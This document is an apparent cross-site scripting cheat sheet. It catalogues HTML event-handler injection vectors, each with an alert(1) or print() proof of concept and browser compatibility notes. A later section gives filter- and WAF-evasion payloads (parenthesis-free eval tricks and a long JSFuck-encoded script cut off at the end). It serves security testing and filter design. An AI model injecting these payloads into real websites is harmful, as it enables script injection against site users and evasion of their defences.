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Cross-site scripting (XSS) cheat sheet

This cross-site scripting (XSS) cheat sheet contains many vectors that can help you bypass WAFs and filters. You can select vectors by the event, tag or browser and a proof of concept is included for every vector.

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This cheat sheet is regularly updated in 2025. Last updated: Tue, 03 Jun 2025 13:16:43 +0000.

Table of contents
Event handlers
    No user interaction
    User interaction required
Consuming tags
File upload attacks
Restricted characters
Frameworks
Protocols
Other useful attributes
Special tags
Encoding
Obfuscation
Client side template injection
    VueJS reflected
    AngularJS sandbox escapes reflected
    AngularJS sandbox escapes DOM
    AngularJS CSP bypasses
Scriptless attacks
Polyglots
WAF bypass global objects
Content types
Response content types
Impossible labs
Prototype pollution
Classic vectors (XSS crypt)

Event handlers

Event handlers that do not require user interaction

Event:

Description:

Tag:

Code:

Copy:

onafterscriptexecute

Fires after script is executed

<xss onafterscriptexecute=alert(1)><script>1</script>
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Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in Safari
onanimationcancel

Fires when a CSS animation cancels

<style>@keyframes x{from {left:0;}to {left: 1000px;}}:target {animation:10s ease-in-out 0s 1 x;}</style><xss id=x style="position:absolute;" onanimationcancel="print()"></xss>
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Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in Safari
onanimationend

Fires when a CSS animation ends

<style>@keyframes x{}</style><xss style="animation-name:x" onanimationend="alert(1)"></xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onanimationiteration

Fires when a CSS animation repeats

<style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onanimationiteration="alert(1)"></xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onanimationstart

Fires when a CSS animation starts

<style>@keyframes x{}</style><xss style="animation-name:x" onanimationstart="alert(1)"></xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onbeforeprint

Fires before the page is printed

<body onbeforeprint=console.log(1)>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes not work in Safari
onbeforescriptexecute

Fires before script is executed

<xss onbeforescriptexecute=alert(1)><script>1</script>
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Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in Safari
onbeforeunload
onbegin

Fires when a svg animation begins

<svg><animate onbegin=alert(1) attributeName=x dur=1s>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
oncanplay

Fires if the resource can be played

<audio oncanplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
oncanplaythrough

Fires when enough data has been loaded to play the resource all the way through

<video oncanplaythrough=alert(1)><source src="validvideo.mp4" type="video/mp4"></video>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
oncontentvisibilityautostatechange

Fires on all tags when content-visibility is set to auto

<xss oncontentvisibilityautostatechange=alert(1) style=display:block;content-visibility:auto>
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Compatibility:

Does work in ChromeDoes not work in FirefoxDoes not work in Safari
oncontentvisibilityautostatechange(hidden)

Fires in a hidden input when content-visibility is set to auto

<input type=hidden oncontentvisibilityautostatechange=alert(1) style=content-visibility:auto>
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Compatibility:

Does work in ChromeDoes not work in FirefoxDoes not work in Safari
oncuechange
ondurationchange
onend

Fires when a svg animation ends

<svg><animate onend=alert(1) attributeName=x dur=1s>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onended

Fires when the resource is finished playing

<audio controls autoplay onended=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onerror

Fires when the resource fails to load or causes an error

<audio src/onerror=alert(1)>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onfocus

Fires when the element has focus

<a id=x tabindex=1 onfocus=alert(1)></a>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onfocus(autofocus)

Fires when a element has focus and the autofocus attribute is used to focus automatically.

<xss onfocus=alert(1) autofocus tabindex=1>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onfocusin

Fires when the element has focus

<a id=x tabindex=1 onfocusin=alert(1)></a>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onhashchange

Fires if the hash changes

<body onhashchange="print()">
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onload

Fires when the element is loaded

<body onload=alert(1)>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onloadeddata

Fires when the first frame is loaded

<audio onloadeddata=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onloadedmetadata
onloadstart

Triggered video is loaded

<video onloadstart="alert(1)"><source></xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onmessage

Fires when message event is received from a postMessage call

<body onmessage=print()>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onpagereveal

Fires when the page is shown

<body onpagereveal=alert(1)>
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Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in Safari
onpageshow

Fires when the page is shown

<body onpageshow=alert(1)>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onplay

Fires when the resource is played

<audio autoplay onplay=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onplaying
onpopstate

Fires when the history changes

<body onpopstate=print()>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onprogress

Fires when the video/audio begins downloading

<audio controls onprogress=alert(1)><source src=validaudio.mp3 type=audio/mpeg></audio>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onrepeat

Fires when a svg animation repeats

<svg><animate onrepeat=alert(1) attributeName=x dur=1s repeatCount=2 />
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onresize

Fires when the window is resized

<body onresize="print()">
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onscroll

Fires when the page scrolls

<body onscroll=alert(1)><div style=height:1000px></div><div id=x></div>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onscrollend

Fires when the scrolling to the end of the element

<xss onscrollend=alert(1) style="display:block;overflow:auto;border:1px dashed;width:500px;height:100px;"><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><span id=x>test</span></xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes not work in Safari
onscrollsnapchange

Fires at the end of a scrolling operation

<address onscrollsnapchange=alert(1) style=overflow-y:hidden;scroll-snap-type:x><div style=scroll-snap-align:center>1337</div></address>
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Compatibility:

Does work in ChromeDoes not work in FirefoxDoes not work in Safari
onscrollsnapchanging

Fires when the scroll position is snapping to a new point

<style>.scroll-container { overflow-x: scroll; scroll-snap-type: x mandatory; display: flex; width: 300px; } .scroll-item { flex: 0 0 500px; scroll-snap-align: start; } .scroll-item:first-child { animation: sample; animation-duration: 0.1s; } @keyframes sample { 100% { scroll-snap-align: none; } }</style><x class="scroll-container" onscrollsnapchanging="alert(1)"> <xss class="scroll-item">Item 1</xss><xss class="scroll-item">Item 2</xss></xss>
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Compatibility:

Does work in ChromeDoes not work in FirefoxDoes not work in Safari
onsecuritypolicyviolation

Fires when a CSP violation occurs. This would be site specific.

<xss onsecuritypolicyviolation=alert(1)>XSS</xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onsuspend

Fires when the video/audio when the data loading is suspended

<audio controls onsuspend=alert(1)><source src=validaudio.mp3 type=audio/mpeg></audio>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
ontimeupdate
ontoggle

Fires when the details tag is expanded

<details ontoggle=alert(1) open>test</details>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
ontransitioncancel

Fires when a CSS transition cancels

<style>:target {color: red;}</style><xss id=x style="transition:color 10s" ontransitioncancel=print()></xss>
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Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in Safari
ontransitionend

Fires when a CSS transition ends

<xss id=x style="transition:outline 1s" ontransitionend=alert(1) tabindex=1></xss>
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Compatibility:

Does work in ChromeDoes not work in FirefoxDoes not work in Safari
ontransitionrun

Fires when a CSS transition begins

<style>:target {transform: rotate(180deg);}</style><xss id=x style="transition:transform 2s" ontransitionrun=print()></xss>
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Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in Safari
ontransitionstart

Fires when a CSS transition starts

<style>:target {color:red;}</style><xss id=x style="transition:color 1s" ontransitionstart=alert(1)></xss>
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Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in Safari
onunhandledrejection

Fires when a promise isn't handled

<body onunhandledrejection=alert(1)><script>fetch('//xyz')</script>
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Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in Safari
onunload
onwaiting(loop)

Fires when the video/audio attempts to replay

<audio controls loop muted autoplay onwaiting=alert(1)><source src=validaudio.mp3 type=audio/mpeg></audio>
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Compatibility:

Does work in ChromeDoes not work in FirefoxDoes not work in Safari
onwebkitanimationend

Fires when a CSS animation ends

<style>@keyframes x{}</style><xss style="animation-name:x" onwebkitanimationend="alert(1)"></xss>
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Compatibility:

Does work in ChromeDoes not work in FirefoxDoes work in Safari
onwebkitanimationiteration

Fires when a CSS animation repeats

<style>@keyframes slidein {}</style><xss style="animation-duration:1s;animation-name:slidein;animation-iteration-count:2" onwebkitanimationiteration="alert(1)"></xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onwebkitanimationstart

Fires when a CSS animation starts

<style>@keyframes x{}</style><xss style="animation-name:x" onwebkitanimationstart="alert(1)"></xss>
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Compatibility:

Does work in ChromeDoes not work in FirefoxDoes work in Safari
onwebkitplaybacktargetavailabilitychanged

Fires when the availability of an AirPlay playback target changes

<audio onwebkitplaybacktargetavailabilitychanged=alert(1)>
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Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in Safari
onwebkittransitionend

Fires when a CSS transition ends

<style>:target {color:red;}</style><xss id=x style="transition:color 1s" onwebkittransitionend=alert(1)></xss>
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Compatibility:

Does work in ChromeDoes not work in FirefoxDoes not work in Safari

Event handlers that do require user interaction

Event:

Description:

Tag:

Code:

Copy:

onafterprint

Fires after the page is printed

<body onafterprint=alert(1)>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes not work in Safari
onauxclick

Fires when right clicking or using the middle button of the mouse

<input onauxclick=alert(1)>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes not work in Safari
onbeforecopy

Requires you copy a piece of text

<a onbeforecopy="alert(1)" contenteditable>test</a>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onbeforecut

Requires you cut a piece of text

<a onbeforecut="alert(1)" contenteditable>test</a>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onbeforeinput

Fires when the value of the element is about to be modified

<xss contenteditable onbeforeinput=alert(1)>test
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onbeforepaste

Fires at the end of a paste operation

<xss onbeforepaste=alert(1)>XSS</xss>
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Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in Safari
onbeforetoggle

Fires before the a popop element is toggled

<button popovertarget=x>Click me</button><xss onbeforetoggle=alert(1) popover id=x>XSS</xss>
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Compatibility:

Does work in ChromeDoes not work in FirefoxDoes not work in Safari
onblur

Fires when an element loses focus

<xss onblur=alert(1) id=x tabindex=1 style=display:block>test</xss><input value=clickme>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
oncancel

Fires when an a file upload is cancelled

<input type=file oncancel=alert(1)>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onchange

Requires as change of value

<input onchange=alert(1) value=xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onclick

Requires a click of the element

<xss onclick="alert(1)" style=display:block>test</xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onclose

Fires when a dialog is closed

<dialog open onclose=alert(1)><form method=dialog><button>XSS</button></form>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
oncommand

Fires when the command is sent via click

<button commandfor=test command=show-popover>Click<div id=test oncommand=alert(1)>
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Compatibility:

Does work in ChromeDoes not work in FirefoxDoes not work in Safari
oncontextmenu

Triggered when right clicking to show the context menu

<xss oncontextmenu="alert(1)" style=display:block>test</xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
oncopy

Requires you copy a piece of text

<xss oncopy=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
oncut

Requires you cut a piece of text

<xss oncut=alert(1) value="XSS" autofocus tabindex=1 style=display:block>test
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
ondblclick

Triggered when double clicking the element

<xss ondblclick="alert(1)" autofocus tabindex=1 style=display:block>test</xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
ondrag

Triggered dragging the element

<xss draggable="true" ondrag="alert(1)" style=display:block>test</xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
ondragend

Triggered dragging is finished on the element

<xss draggable="true" ondragend="alert(1)" style=display:block>test</xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
ondragenter

Requires a mouse drag

<xss draggable="true" ondragenter="alert(1)" style=display:block>test</xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
ondragexit

Triggered when dragging the element

<xss draggable="true" ondragexit="alert(1)" style=display:block>test</xss>
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Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in Safari
ondragleave

Requires a mouse drag

<xss draggable="true" ondragleave="alert(1)" style=display:block>test</xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
ondragover

Triggered dragging over an element

<div draggable="true" contenteditable>drag me</div><xss ondragover=alert(1) contenteditable style=display:block>drop here</xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
ondragstart

Requires a mouse drag

<xss draggable="true" ondragstart="alert(1)" style=display:block>test</xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
ondrop

Triggered dropping a draggable element

<div draggable="true" contenteditable>drag me</div><xss ondrop=alert(1) contenteditable style=display:block>drop here</xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onfocusout

Fires when an element loses focus

<xss onfocusout=alert(1) autofocus tabindex=1 style=display:block>test</xss><input value=clickme>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onformdata

Triggered when a form is submitted

<form onformdata="alert(1)"><button>Click</button></form>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onfullscreenchange

Fires when a video changes full screen status

<video onfullscreenchange=alert(1) src=validvideo.mp4 controls>
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Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in Safari
ongesturechange

Fires when the gesture is in progress and changes occur.

<div ongesturechange=alert(1)>XSS</div>
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Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in Safari
ongestureend

Fires when the gesture comes to an end.

<div ongestureend=alert(1)>XSS</div>
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Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in Safari
ongesturestart

Fires when multiple fingers touch the surface, initiating a new gesture.

<div ongesturestart=alert(1)>XSS</div>
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Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in Safari
oninput

Requires as change of value

<input oninput=alert(1) value=xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
oninvalid

Requires a form submission with an element that does not satisfy its constraints such as a required attribute.

<form><input oninvalid=alert(1) required><input type=submit>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onkeydown

Triggered when a key is pressed

<xss onkeydown="alert(1)" contenteditable style=display:block>test</xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onkeypress

Triggered when a key is pressed

<xss onkeypress="alert(1)" contenteditable style=display:block>test</xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onkeyup

Triggered when a key is released

<xss onkeyup="alert(1)" contenteditable style=display:block>test</xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onmousedown

Triggered when the mouse is pressed

<xss onmousedown="alert(1)" style=display:block>test</xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onmouseenter

Triggered when the mouse is hovered over the element

<xss onmouseenter="alert(1)" style=display:block>test</xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onmouseleave

Triggered when the mouse is moved away from the element

<xss onmouseleave="alert(1)" style=display:block>test</xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onmousemove

Requires mouse movement

<xss onmousemove="alert(1)" style=display:block>test</xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onmouseout

Triggered when the mouse is moved away from the element

<xss onmouseout="alert(1)" style=display:block>test</xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onmouseover

Requires a hover over the element

<xss onmouseover="alert(1)" style=display:block>test</xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onmouseup

Triggered when the mouse button is released

<xss onmouseup="alert(1)" style=display:block>test</xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onmousewheel

Fires when the mousewheel scrolls

<xss onmousewheel=alert(1) style=display:block>requires scrolling
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Compatibility:

Does work in ChromeDoes not work in FirefoxDoes not work in Safari
onmozfullscreenchange

Fires when a video changes full screen status

<video onmozfullscreenchange=alert(1) src=validvideo.mp4 controls>
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Compatibility:

Does not work in ChromeDoes work in FirefoxDoes not work in Safari
onpagehide
onpageswap
onpaste

Requires you paste a piece of text

<a onpaste="alert(1)" contenteditable>test</a>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onpause

Requires clicking the element to pause

<audio autoplay controls onpause=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onpointercancel

You need to make a selection and drag the text using a laptop touchpad.

<xss onpointercancel=alert(1)>XSS</xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onpointerdown

Fires when the mouse down

<xss onpointerdown=alert(1) style=display:block>XSS</xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onpointerenter

Fires when the mouseenter

<xss onpointerenter=alert(1) style=display:block>XSS</xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onpointerleave

Fires when the mouseleave

<xss onpointerleave=alert(1) style=display:block>XSS</xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onpointermove

Fires when the mouse move

<xss onpointermove=alert(1) style=display:block>XSS</xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onpointerout

Fires when the mouse out

<xss onpointerout=alert(1) style=display:block>XSS</xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onpointerover

Fires when the mouseover

<xss onpointerover=alert(1) style=display:block>XSS</xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onpointerrawupdate

Fires when the pointer changes

<xss onpointerrawupdate=alert(1) style=display:block>XSS</xss>
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Compatibility:

Does work in ChromeDoes not work in FirefoxDoes not work in Safari
onpointerup

Fires when the mouse up

<xss onpointerup=alert(1) style=display:block>XSS</xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onratechange

Fires when the speed of the video changes

<audio controls autoplay onratechange=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onreset

Requires a click

<form onreset=alert(1)><input type=reset>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onsearch

Fires when a form is submitted and the input has a type attribute of search

<form><input type=search onsearch=alert(1) value="Hit return" autofocus>
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Compatibility:

Does work in ChromeDoes not work in FirefoxDoes not work in Safari
onseeked

Requires clicking the element timeline

<audio autoplay controls onseeked=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onseeking

Requires clicking the element timeline

<audio autoplay controls onseeking=alert(1)><source src="validaudio.wav" type="audio/wav"></audio>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onselect

Requires you select text

<input onselect=alert(1) value="XSS" autofocus>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onselectionchange

Fires when text selection is changed on the page

<body onselectionchange=alert(1)>select some text
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Compatibility:

Does work in ChromeDoes not work in FirefoxDoes work in Safari
onselectstart

Fires when beginning a text selection

<body onselectstart=alert(1)>select some text
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Compatibility:

Does work in ChromeDoes not work in FirefoxDoes work in Safari
onshow
onsubmit

Requires a form submission

<form onsubmit=alert(1)><input type=submit>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
ontoggle(popover)

Fires when the a popop element is toggled

<button popovertarget=x>Click me</button><xss ontoggle=alert(1) popover id=x>XSS</xss>
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Compatibility:

Does work in ChromeDoes not work in FirefoxDoes not work in Safari
ontouchcancel

Fires when the select text, only mobile device

<xss ontouchcancel=alert(1)>XSS</xss>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
ontouchend

Fires when the touch screen, only mobile device

<body ontouchend=alert(1)>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
ontouchmove

Fires when the touch screen and move, only mobile device

<body ontouchmove=alert(1)>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
ontouchstart

Fires when the touch screen, only mobile device

<body ontouchstart=alert(1)>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari
onvolumechange
onwaiting

Fires when the video/audio attempts to play

<audio controls onwaiting=alert(1)><source src=x type=x></audio>
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Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in Safari
onwebkitfullscreenchange

Fires when a video changes full screen status

<video controls src=validvideo.mp4 onwebkitfullscreenchange=alert(1)>
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Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in Safari
onwebkitmouseforcechanged

Requires a click from a laptop touchpad.

<xss onwebkitmouseforcechanged=alert(1)>XSS</xss>
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Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in Safari
onwebkitmouseforcedown

Requires a click from a laptop touchpad.

<xss onwebkitmouseforcedown=alert(1)>XSS</xss>
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Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in Safari
onwebkitmouseforceup

Requires a click from a laptop touchpad.

<xss onwebkitmouseforceup=alert(1)>XSS</xss>
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Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in Safari
onwebkitmouseforcewillbegin

Requires a click from a laptop touchpad.

<xss onwebkitmouseforcewillbegin=alert(1)>XSS</xss>
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Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in Safari
onwebkitpresentationmodechanged

Fires when a video changes full screen status

<video controls src=validvideo.mp4 onwebkitpresentationmodechanged=alert(1)>
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Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in Safari
onwebkitwillrevealbottom

Requires a click from a laptop touchpad.

<xss onwebkitwillrevealbottom=alert(1)>XSS</xss>
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Compatibility:

Does not work in ChromeDoes not work in FirefoxDoes work in Safari
onwheel

Fires when you use the mouse wheel

<body onwheel=alert(1)>
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Compatibility:

Does work in ChromeDoes work in FirefoxDoes work in Safari

Consuming tags
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File upload attacks
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Restricted characters
Works in Chrome Works in Firefox Works in Safari

No parentheses using exception handling

<script>onerror=alert;throw 1</script>
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Works in Chrome Works in Firefox Works in Safari

No parentheses using exception handling no semi colons

<script>{onerror=alert}throw 1</script>
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No parentheses using exception handling no semi colons using expressions

<script>throw onerror=alert,1</script>
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Works in Chrome

No parentheses using exception handling and string eval on Chrome / Edge

<script>throw onerror=eval,'=alert\x281\x29'</script>
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Works in Safari

No parentheses using exception handling and string eval on Safari

<script>throw onerror=eval,'alert\x281\x29'</script>
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No parentheses using exception handling and object eval on Firefox

<script>{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'}</script>
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No parentheses using exception handling and object eval on Firefox / Safari

<script>throw onerror=eval,e=new Error,e.message='alert\x281\x29',e</script>
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Works in Chrome Works in Firefox Works in Safari

No parentheses using exception handling and location hash eval on all browsers

<script>throw onerror=Uncaught=eval,e=new Error,e.message='/*'+location.hash,!!window.InstallTrigger?e:e.message</script>
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No parentheses, no quotes, no spaces, no curly brackets using exception handling and location hash eval on all browsers

<script>throw/x/,onerror=Uncaught=eval,h=location.hash,e=Error,e.lineNumber=e.columnNumber=e.fileName=e.message=h[2]+h[1]+h,!!window.InstallTrigger?e:e.message</script>
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No parentheses using ES6 hasInstance and instanceof with eval

<script>'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}</script>
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No parentheses using ES6 hasInstance and instanceof with eval without .

<script>'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}</script>
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No parentheses using location redirect

<script>location='javascript:alert\x281\x29'</script>
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No parentheses using location redirect no strings

<script>location=name</script>
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Works in Chrome Works in Firefox Works in Safari

No parentheses using template strings

<script>alert`1`</script>
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Works in Chrome Works in Firefox Works in Safari

No parentheses using template strings and location hash

<script>new Function`X${document.location.hash.substr`1`}`</script>
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No parentheses or spaces, using template strings and location hash

<script>Function`X${document.location.hash.substr`1`}```</script>
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Works in Chrome Works in Firefox Works in Safari Works in Chrome Works in Firefox Works in Safari

XSS without greater than

<svg onload=alert(1)
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XSS without greater using a HTML comment

<svg onload=alert(1)<!--
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Array based destructuring using onerror

<script>throw[onerror]=[alert],1</script>
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Destructuring using default values and onerror

<script>var{haha:onerror=alert}=0;throw 1</script>
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Avoiding Invalid left-hand side in assignment without `, (), ?, [], or , using object literal

<script>window.name='javascript:alert(1)';function blah(){} blah(""+{a:location=name}+"")</script>
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Avoiding Invalid left-hand side in assignment without `, (), ?, [], or , using new class

<script>window.name='javascript:alert(1)';function blah(){} blah(""+new class b{toString=e=>location=name}+"")</script>
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Script tag using only uppercase using JSFuck and inline

<SCRIPT>[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]